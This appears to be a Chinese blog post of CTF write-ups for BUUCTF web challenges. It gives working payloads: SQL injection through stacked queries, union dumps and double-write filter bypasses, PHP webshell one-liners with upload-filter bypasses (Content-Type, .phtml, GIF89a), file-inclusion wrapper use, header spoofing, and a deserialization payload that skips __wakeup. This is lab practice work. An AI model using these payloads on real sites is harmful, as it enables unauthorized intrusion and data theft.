CTF练习

随便注

1

打开先 1' or 1=1#正常注入

进行联合注入1' union select 1,2,3#发现过滤许多关键字

于是想到了堆叠注入,这个注入条件非常有限,一般是执行多条才能够使用  1';show databases#

1';show tables#

1';show columns from words#

1';show columns from `1919810931114514`# 发现flag就在其中解释一下为什么用反引号(就是数字键1旁边的)因为当数字型字符作为字段,表,库查询时,应该用反单引号括起来输入得到

堆叠注入也无法避免使用之前被过滤的字符,利用char()方法将ASCII码转换成SELECT字符串,利用concat()方法进行拼接成SQL语句

PREPARE sql from '[my sql sequece]';预定义SQL语句

EXECUTE sqla; 执行预定义SQL语句

set @sql='flag';存储表名

ASCII码:

115,101,108,101,99,116

1';set @sql=concat(char(115,101,108,101,99,116),"* from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;

flag就出来了

接下来看

Secret File

打开后老样子查看源码,发现文件,两个页面进行抓包查找,一定要有耐心,发送到Re后send发现有隐藏的secr3t.php

然后打开进行审计代码

 <html>    <title>secret</title>    <meta charset="UTF-8"><?php    highlight_file(__FILE__);    error_reporting(0);    $file=$_GET['file'];    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){        echo "Oh no!";        exit();    }    include($file); //flag放在了flag.php里?></html>

看到file,立刻想到尝试进行file伪协议

然后下面用base64解码flag就出来了

接下来看

LoveSQL

一眼SQL注入题目,上操作

1' or 1=1#

说明存在sql注入,进行下一步联合查询1' union select 1,2,3#

1' union select 1,database(),3#

爆出库为geek 接着进行爆表1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

爆出两个表geekuser,l0ve1ysq1,接着爆字段1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

接下来就是爆字段了1' union select 1,group_concat(id,username,password),3 from l0ve1ysq1#

复制到NOT打开拉出就是flag了

Http

打开后依然是图片,那么就是老样子检查源码

发现有Secret.php文件打开

关于这类http题目一般都是进行抓包,然后根据提示修改内容

手动添加:Referer:https://Sycsecret.buuoj.cn

提示使用Syclover,则继续修改成Syclove就好了

然后提示本地那就输入X-forwarded-For:127.0.0.1

就接出来了

Knife

打开页面是 eval($_POST["Syc"]);,

看到直接使用中国蚁剑连接,密码输入Syc,测试成功,在目录下寻找flag就出来了

Upload

打开网站是一个文件上传题目,于是编写一个木马

<?php@eval(POST_['123']);?>

显示没有图片,那就进行抓包修改变量

将Content-Type的类型修改为->image/jpeg,显示没有php,那就切换文件后缀

尝试修改到phtml时发现不允许有<?符号,那就改写木马

<script language='php'>@eval($_POST[shell]);</script>

修改完继续抓包修改参数结果出现这,那就是还没绕过成功,需要在前面加上GIF89a来绕过PHP getimagesize的检查

同样再次进行抓包修改参数,显示上传成功,那就该蚁剑操作了

一般文件长传都在upload目录下,就用/upload/filename连接就行,我这里使用了中文名好像报错了,于是我修改了成了text从新进行连接成功,密码就是木马里的post值

接着在根目录下打开就是flag了

[ACTF2020 新生赛]Upload

打开依旧是文件上传,继续使用text.phtml上传,发现需要后缀要求,就是前端检测,两种方法,打开f12删除checkfile,另一种先修改文件名后后抓包再修改成phtml

抓包修改就上传成功了

接着拿蚁剑连接http://c175a603-2d43-4ca9-8a18-4ae493cebb9c.node4.buuoj.cn:81//uplo4d/4a7fa3ee21d517c9d93f52e9834ed798.phtml 密码就是文件post内容

接着查看根目录下flag就找到了

BabySQL

打开就是lovesql升级版,提示已经过滤注入了许多,尝试后发现or被过滤,尝试双写绕过成功

尝试后发现or被过滤,尝试双写绕过成功1' oorr 1=1#

接着就是简单的SQL注入了,要注入被过滤的字符进行双写绕过

1' uunionnion sselectelect 1,2,3#爆字段数

1' uunionnion sselectelect 1,2,database()#爆库

1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#进行爆表,因为注入不成功,所以一点一点尝试where和union、select、from等字段是否被过过滤进行双写过滤,

1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema='geek'#进行爆字段

1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd,id,username,passwoorrd) ffromrom b4bsql#进行爆值 flag就出来了

[极客大挑战 2019]PHP

打开就说有备份网站,但我尝试了好几个后缀没找到

常见的网站源码备份文件后缀:tar.gz,zip,rar,tar

常见的网站源码备份文件名:web,website,backup,back,www,wwwroot,temp

于是我就开始使用工具dirsearch -u http://784675f9-a135-409c-932c-04281cd4d512.node4.buuoj.cn:81/ -e php

-e是选择语言,因为题目是php,这个扫描也是很慢

打开扫描到的后缀是一个压缩包再次打开

有一段php代码,意思是包含了class.php文件,然后以get形式获取select函数,将select函数进行反序列化

那么思路就是编写脚本运行结果加在?select=后面

打开class文件

我们想要输出flag,在这有个条件是username='admin',在往上看就是password==100,

__wakeup函数会将username赋值为guest,还是在__destruct函数前运行,所以进行绕过

<?phpclass Name{    private $username = 'admin';    private $password = '100';}#目的为了确定admin和100值$a = new Name;新建一个类var_dump(serialize($a));#将其序列化打印出?>

放到在线运行那

string(81) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}"

补充下知识点,在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup函数,所以把2->3就ok

payload就是:?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

运行发现不对,找到问题,在线运行时Name和username、password前都有个符号没复制过来,这里参观了下其他wp都是用%00代替解决了

再输入一下?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

就出来了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值